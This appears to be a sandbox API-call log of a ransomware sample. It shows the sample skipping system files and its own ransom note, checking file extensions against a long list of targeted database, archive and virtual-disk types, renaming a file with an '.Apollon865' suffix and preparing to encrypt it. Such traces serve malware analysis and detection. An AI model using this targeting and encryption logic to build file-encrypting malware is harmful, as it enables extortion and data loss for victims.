	[0080.680] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40270, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 1
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2="Apollon865.txt.exe") returned 1
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2=".") returned 1
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2="..") returned 1
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2="windows") returned -1
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2="bootmgr") returned 1
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2="temp") returned -1
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2="pagefile.sys") returned -1
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2="boot") returned 1
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2="ids.txt") returned -1
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2="ntuser.dat") returned -1
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2="perflogs") returned -1
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2="MSBuild") returned -1
	[0080.680] lstrlenW (lpString="cache.dat") returned 9
	[0080.680] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*") returned 69
	[0080.680] lstrcpyW (in: lpString1=0x119e690, lpString2="cache.dat" | out: lpString1="cache.dat") returned="cache.dat"
	[0080.680] lstrlenW (lpString="cache.dat") returned 9
	[0080.680] lstrlenW (lpString="Apollon865") returned 10
	[0080.680] lstrlenW (lpString=".dll") returned 4
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2=".dll") returned 1
	[0080.680] lstrlenW (lpString=".lnk") returned 4
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2=".lnk") returned 1
	[0080.680] lstrlenW (lpString=".ini") returned 4
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2=".ini") returned 1
	[0080.680] lstrlenW (lpString=".sys") returned 4
	[0080.680] lstrcmpiW (lpString1="cache.dat", lpString2=".sys") returned 1
	[0080.680] lstrlenW (lpString="cache.dat") returned 9
	[0080.680] lstrlenW (lpString="bak") returned 3
	[0080.681] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1
	[0080.681] lstrlenW (lpString="ba_") returned 3
	[0080.681] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1
	[0080.681] lstrlenW (lpString="dbb") returned 3
	[0080.681] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1
	[0080.681] lstrlenW (lpString="vmdk") returned 4
	[0080.681] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1
	[0080.681] lstrlenW (lpString="rar") returned 3
	[0080.681] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1
	[0080.681] lstrlenW (lpString="zip") returned 3
	[0080.681] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1
	[0080.681] lstrlenW (lpString="tgz") returned 3
	[0080.681] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1
	[0080.681] lstrlenW (lpString="vbox") returned 4
	[0080.681] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1
	[0080.681] lstrlenW (lpString="vdi") returned 3
	[0080.681] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1
	[0080.681] lstrlenW (lpString="vhd") returned 3
	[0080.681] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1
	[0080.681] lstrlenW (lpString="vhdx") returned 4
	[0080.681] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1
	[0080.681] lstrlenW (lpString="avhd") returned 4
	[0080.681] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1
	[0080.681] lstrlenW (lpString="db") returned 2
	[0080.681] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0080.681] lstrlenW (lpString="db2") returned 3
	[0080.681] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1
	[0080.681] lstrlenW (lpString="db3") returned 3
	[0080.681] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1
	[0080.681] lstrlenW (lpString="dbf") returned 3
	[0080.681] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1
	[0080.681] lstrlenW (lpString="mdf") returned 3
	[0080.681] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1
	[0080.681] lstrlenW (lpString="mdb") returned 3
	[0080.681] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1
	[0080.681] lstrlenW (lpString="sql") returned 3
	[0080.682] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1
	[0080.682] lstrlenW (lpString="sqlite") returned 6
	[0080.682] lstrcmpiW (lpString1="he.dat", lpString2="sqlite") returned -1
	[0080.682] lstrlenW (lpString="sqlite3") returned 7
	[0080.682] lstrcmpiW (lpString1="che.dat", lpString2="sqlite3") returned -1
	[0080.682] lstrlenW (lpString="sqlitedb") returned 8
	[0080.682] lstrcmpiW (lpString1="ache.dat", lpString2="sqlitedb") returned -1
	[0080.682] lstrlenW (lpString="xml") returned 3
	[0080.682] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1
	[0080.682] lstrlenW (lpString="$er") returned 3
	[0080.682] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1
	[0080.682] lstrlenW (lpString="4dd") returned 3
	[0080.682] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1
	[0080.682] lstrlenW (lpString="4dl") returned 3
	[0080.682] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1
	[0080.682] lstrlenW (lpString="^^^") returned 3
	[0080.682] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1
	[0080.682] lstrlenW (lpString="abs") returned 3
	[0080.682] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1
	[0080.682] lstrlenW (lpString="abx") returned 3
	[0080.682] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1
	[0080.682] lstrlenW (lpString="accdb") returned 5
	[0080.682] lstrcmpiW (lpString1="e.dat", lpString2="accdb") returned 1
	[0080.682] lstrlenW (lpString="accdc") returned 5
	[0080.682] lstrcmpiW (lpString1="e.dat", lpString2="accdc") returned 1
	[0080.682] lstrlenW (lpString="accde") returned 5
	[0080.682] lstrcmpiW (lpString1="e.dat", lpString2="accde") returned 1
	[0080.682] lstrlenW (lpString="accdr") returned 5
	[0080.682] lstrcmpiW (lpString1="e.dat", lpString2="accdr") returned 1
	[0080.682] lstrlenW (lpString="accdt") returned 5
	[0080.682] lstrcmpiW (lpString1="e.dat", lpString2="accdt") returned 1
	[0080.682] lstrlenW (lpString="accdw") returned 5
	[0080.682] lstrcmpiW (lpString1="e.dat", lpString2="accdw") returned 1
	[0080.682] lstrlenW (lpString="accft") returned 5
	[0080.682] lstrcmpiW (lpString1="e.dat", lpString2="accft") returned 1
	[0080.682] lstrlenW (lpString="adb") returned 3
	[0080.682] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0080.683] lstrlenW (lpString="adb") returned 3
	[0080.683] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0080.683] lstrlenW (lpString="ade") returned 3
	[0080.683] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1
	[0080.683] lstrlenW (lpString="adf") returned 3
	[0080.683] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1
	[0080.683] lstrlenW (lpString="adn") returned 3
	[0080.683] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1
	[0080.683] lstrlenW (lpString="adp") returned 3
	[0080.683] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1
	[0080.683] lstrlenW (lpString="alf") returned 3
	[0080.683] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1
	[0080.683] lstrlenW (lpString="ask") returned 3
	[0080.683] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1
	[0080.683] lstrlenW (lpString="btr") returned 3
	[0080.683] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1
	[0080.683] lstrlenW (lpString="cat") returned 3
	[0080.683] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1
	[0080.683] lstrlenW (lpString="cdb") returned 3
	[0080.683] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1
	[0080.683] lstrlenW (lpString="ckp") returned 3
	[0080.683] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1
	[0080.683] lstrlenW (lpString="cma") returned 3
	[0080.683] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1
	[0080.683] lstrlenW (lpString="cpd") returned 3
	[0080.683] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1
	[0080.683] lstrlenW (lpString="dacpac") returned 6
	[0080.683] lstrcmpiW (lpString1="he.dat", lpString2="dacpac") returned 1
	[0080.683] lstrlenW (lpString="dad") returned 3
	[0080.683] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1
	[0080.683] lstrlenW (lpString="dadiagrams") returned 10
	[0080.683] lstrlenW (lpString="daschema") returned 8
	[0080.683] lstrcmpiW (lpString1="ache.dat", lpString2="daschema") returned -1
	[0080.683] lstrlenW (lpString="db-journal") returned 10
	[0080.683] lstrlenW (lpString="db-shm") returned 6
	[0080.683] lstrcmpiW (lpString1="he.dat", lpString2="db-shm") returned 1
	[0080.683] lstrlenW (lpString="db-wal") returned 6
	[0080.684] lstrcmpiW (lpString1="he.dat", lpString2="db-wal") returned 1
	[0080.684] lstrlenW (lpString="dbc") returned 3
	[0080.684] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1
	[0080.684] lstrlenW (lpString="dbs") returned 3
	[0080.684] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1
	[0080.684] lstrlenW (lpString="dbt") returned 3
	[0080.684] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1
	[0080.684] lstrlenW (lpString="dbv") returned 3
	[0080.684] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1
	[0080.684] lstrlenW (lpString="dbx") returned 3
	[0080.684] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1
	[0080.684] lstrlenW (lpString="dcb") returned 3
	[0080.684] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1
	[0080.684] lstrlenW (lpString="dct") returned 3
	[0080.684] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1
	[0080.684] lstrlenW (lpString="dcx") returned 3
	[0080.684] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1
	[0080.684] lstrlenW (lpString="ddl") returned 3
	[0080.684] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1
	[0080.684] lstrlenW (lpString="dlis") returned 4
	[0080.684] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1
	[0080.684] lstrlenW (lpString="dp1") returned 3
	[0080.684] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1
	[0080.684] lstrlenW (lpString="dqy") returned 3
	[0080.684] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1
	[0080.684] lstrlenW (lpString="dsk") returned 3
	[0080.684] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1
	[0080.684] lstrlenW (lpString="dsn") returned 3
	[0080.684] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1
	[0080.684] lstrlenW (lpString="dtsx") returned 4
	[0080.684] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1
	[0080.684] lstrlenW (lpString="dxl") returned 3
	[0080.684] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1
	[0080.684] lstrlenW (lpString="eco") returned 3
	[0080.684] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1
	[0080.685] lstrlenW (lpString="ecx") returned 3
	[0080.685] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1
	[0080.685] lstrlenW (lpString="edb") returned 3
	[0080.685] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1
	[0080.685] lstrlenW (lpString="epim") returned 4
	[0080.685] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1
	[0080.685] lstrlenW (lpString="fcd") returned 3
	[0080.685] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1
	[0080.685] lstrlenW (lpString="fdb") returned 3
	[0080.685] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1
	[0080.685] lstrlenW (lpString="fic") returned 3
	[0080.685] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1
	[0080.685] lstrlenW (lpString="flexolibrary") returned 12
	[0080.685] lstrlenW (lpString="fm5") returned 3
	[0080.685] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1
	[0080.685] lstrlenW (lpString="fmp") returned 3
	[0080.685] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1
	[0080.685] lstrlenW (lpString="fmp12") returned 5
	[0080.685] lstrcmpiW (lpString1="e.dat", lpString2="fmp12") returned -1
	[0080.685] lstrlenW (lpString="fmpsl") returned 5
	[0080.685] lstrcmpiW (lpString1="e.dat", lpString2="fmpsl") returned -1
	[0080.685] lstrlenW (lpString="fol") returned 3
	[0080.685] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1
	[0080.685] lstrlenW (lpString="fp3") returned 3
	[0080.685] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1
	[0080.685] lstrlenW (lpString="fp4") returned 3
	[0080.685] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1
	[0080.685] lstrlenW (lpString="fp5") returned 3
	[0080.685] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1
	[0080.685] lstrlenW (lpString="fp7") returned 3
	[0080.685] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1
	[0080.685] lstrlenW (lpString="fpt") returned 3
	[0080.685] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1
	[0080.685] lstrlenW (lpString="frm") returned 3
	[0080.685] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1
	[0080.685] lstrlenW (lpString="gdb") returned 3
	[0080.686] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0080.686] lstrlenW (lpString="gdb") returned 3
	[0080.686] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0080.686] lstrlenW (lpString="grdb") returned 4
	[0080.686] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1
	[0080.686] lstrlenW (lpString="gwi") returned 3
	[0080.686] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1
	[0080.686] lstrlenW (lpString="hdb") returned 3
	[0080.686] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1
	[0080.686] lstrlenW (lpString="his") returned 3
	[0080.686] lstrcmpiW (lpString1="dat", lpString2="his") returned -1
	[0080.686] lstrlenW (lpString="ib") returned 2
	[0080.686] lstrcmpiW (lpString1="at", lpString2="ib") returned -1
	[0080.686] lstrlenW (lpString="idb") returned 3
	[0080.686] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1
	[0080.686] lstrlenW (lpString="ihx") returned 3
	[0080.686] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1
	[0080.686] lstrlenW (lpString="itdb") returned 4
	[0080.686] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1
	[0080.686] lstrlenW (lpString="itw") returned 3
	[0080.686] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1
	[0080.686] lstrlenW (lpString="jet") returned 3
	[0080.686] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1
	[0080.686] lstrlenW (lpString="jtx") returned 3
	[0080.686] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1
	[0080.686] lstrlenW (lpString="kdb") returned 3
	[0080.686] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1
	[0080.686] lstrlenW (lpString="kexi") returned 4
	[0080.686] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1
	[0080.686] lstrlenW (lpString="kexic") returned 5
	[0080.686] lstrcmpiW (lpString1="e.dat", lpString2="kexic") returned -1
	[0080.686] lstrlenW (lpString="kexis") returned 5
	[0080.686] lstrcmpiW (lpString1="e.dat", lpString2="kexis") returned -1
	[0080.686] lstrlenW (lpString="lgc") returned 3
	[0080.686] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1
	[0080.686] lstrlenW (lpString="lwx") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1
	[0080.687] lstrlenW (lpString="maf") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1
	[0080.687] lstrlenW (lpString="maq") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1
	[0080.687] lstrlenW (lpString="mar") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1
	[0080.687] lstrlenW (lpString="marshal") returned 7
	[0080.687] lstrcmpiW (lpString1="che.dat", lpString2="marshal") returned -1
	[0080.687] lstrlenW (lpString="mas") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1
	[0080.687] lstrlenW (lpString="mav") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1
	[0080.687] lstrlenW (lpString="maw") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1
	[0080.687] lstrlenW (lpString="mdbhtml") returned 7
	[0080.687] lstrcmpiW (lpString1="che.dat", lpString2="mdbhtml") returned -1
	[0080.687] lstrlenW (lpString="mdn") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1
	[0080.687] lstrlenW (lpString="mdt") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1
	[0080.687] lstrlenW (lpString="mfd") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1
	[0080.687] lstrlenW (lpString="mpd") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1
	[0080.687] lstrlenW (lpString="mrg") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1
	[0080.687] lstrlenW (lpString="mud") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1
	[0080.687] lstrlenW (lpString="mwb") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1
	[0080.687] lstrlenW (lpString="myd") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1
	[0080.687] lstrlenW (lpString="ndf") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1
	[0080.687] lstrlenW (lpString="nnt") returned 3
	[0080.687] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1
	[0080.687] lstrlenW (lpString="nrmlib") returned 6
	[0080.688] lstrcmpiW (lpString1="he.dat", lpString2="nrmlib") returned -1
	[0080.688] lstrlenW (lpString="ns2") returned 3
	[0080.688] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1
	[0080.688] lstrlenW (lpString="ns3") returned 3
	[0080.688] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1
	[0080.688] lstrlenW (lpString="ns4") returned 3
	[0080.688] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1
	[0080.688] lstrlenW (lpString="nsf") returned 3
	[0080.688] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1
	[0080.688] lstrlenW (lpString="nv") returned 2
	[0080.688] lstrcmpiW (lpString1="at", lpString2="nv") returned -1
	[0080.688] lstrlenW (lpString="nv2") returned 3
	[0080.688] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1
	[0080.688] lstrlenW (lpString="nwdb") returned 4
	[0080.688] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1
	[0080.688] lstrlenW (lpString="nyf") returned 3
	[0080.688] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1
	[0080.688] lstrlenW (lpString="odb") returned 3
	[0080.688] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0080.688] lstrlenW (lpString="odb") returned 3
	[0080.688] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0080.688] lstrlenW (lpString="oqy") returned 3
	[0080.688] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1
	[0080.688] lstrlenW (lpString="ora") returned 3
	[0080.688] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1
	[0080.688] lstrlenW (lpString="orx") returned 3
	[0080.688] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1
	[0080.688] lstrlenW (lpString="owc") returned 3
	[0080.688] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1
	[0080.688] lstrlenW (lpString="p96") returned 3
	[0080.688] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1
	[0080.688] lstrlenW (lpString="p97") returned 3
	[0080.688] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1
	[0080.688] lstrlenW (lpString="pan") returned 3
	[0080.688] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1
	[0080.688] lstrlenW (lpString="pdb") returned 3
	[0080.688] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1
	[0080.689] lstrlenW (lpString="pdm") returned 3
	[0080.689] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1
	[0080.689] lstrlenW (lpString="pnz") returned 3
	[0080.689] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1
	[0080.689] lstrlenW (lpString="qry") returned 3
	[0080.689] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1
	[0080.689] lstrlenW (lpString="qvd") returned 3
	[0080.689] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1
	[0080.689] lstrlenW (lpString="rbf") returned 3
	[0080.689] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1
	[0080.689] lstrlenW (lpString="rctd") returned 4
	[0080.689] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1
	[0080.689] lstrlenW (lpString="rod") returned 3
	[0080.689] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1
	[0080.689] lstrlenW (lpString="rodx") returned 4
	[0080.689] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1
	[0080.689] lstrlenW (lpString="rpd") returned 3
	[0080.689] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1
	[0080.689] lstrlenW (lpString="rsd") returned 3
	[0080.689] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1
	[0080.689] lstrlenW (lpString="sas7bdat") returned 8
	[0080.689] lstrcmpiW (lpString1="ache.dat", lpString2="sas7bdat") returned -1
	[0080.689] lstrlenW (lpString="sbf") returned 3
	[0080.689] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1
	[0080.689] lstrlenW (lpString="scx") returned 3
	[0080.689] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1
	[0080.689] lstrlenW (lpString="sdb") returned 3
	[0080.689] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1
	[0080.689] lstrlenW (lpString="sdc") returned 3
	[0080.689] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1
	[0080.689] lstrlenW (lpString="sdf") returned 3
	[0080.689] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1
	[0080.689] lstrlenW (lpString="sis") returned 3
	[0080.689] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1
	[0080.689] lstrlenW (lpString="spq") returned 3
	[0080.689] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1
	[0080.689] lstrlenW (lpString="te") returned 2
	[0080.690] lstrcmpiW (lpString1="at", lpString2="te") returned -1
	[0080.690] lstrlenW (lpString="teacher") returned 7
	[0080.690] lstrcmpiW (lpString1="che.dat", lpString2="teacher") returned -1
	[0080.690] lstrlenW (lpString="tmd") returned 3
	[0080.690] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1
	[0080.690] lstrlenW (lpString="tps") returned 3
	[0080.690] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1
	[0080.690] lstrlenW (lpString="trc") returned 3
	[0080.690] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0080.690] lstrlenW (lpString="trc") returned 3
	[0080.690] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0080.690] lstrlenW (lpString="trm") returned 3
	[0080.690] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1
	[0080.690] lstrlenW (lpString="udb") returned 3
	[0080.690] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1
	[0080.690] lstrlenW (lpString="udl") returned 3
	[0080.690] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1
	[0080.690] lstrlenW (lpString="usr") returned 3
	[0080.690] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1
	[0080.690] lstrlenW (lpString="v12") returned 3
	[0080.690] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1
	[0080.690] lstrlenW (lpString="vis") returned 3
	[0080.690] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1
	[0080.690] lstrlenW (lpString="vpd") returned 3
	[0080.690] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1
	[0080.690] lstrlenW (lpString="vvv") returned 3
	[0080.690] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1
	[0080.690] lstrlenW (lpString="wdb") returned 3
	[0080.690] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1
	[0080.690] lstrlenW (lpString="wmdb") returned 4
	[0080.690] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1
	[0080.690] lstrlenW (lpString="wrk") returned 3
	[0080.690] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1
	[0080.690] lstrlenW (lpString="xdb") returned 3
	[0080.690] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1
	[0080.690] lstrlenW (lpString="xld") returned 3
	[0080.690] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1
	[0080.691] lstrlenW (lpString="xmlff") returned 5
	[0080.691] lstrcmpiW (lpString1="e.dat", lpString2="xmlff") returned -1
	[0080.691] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat.Apollon865") returned 88
	[0080.691] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat.apollon865"), dwFlags=0x1) returned 1
	[0080.692] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0080.692] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=262768) returned 1
	[0080.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0080.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0080.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0080.692] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0080.693] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0080.693] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.693] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40570, lpName=0x0) returned 0x15c
	[0080.696] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40570) returned 0x210000
	[0080.709] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0080.709] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0080.709] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0080.709] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0080.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
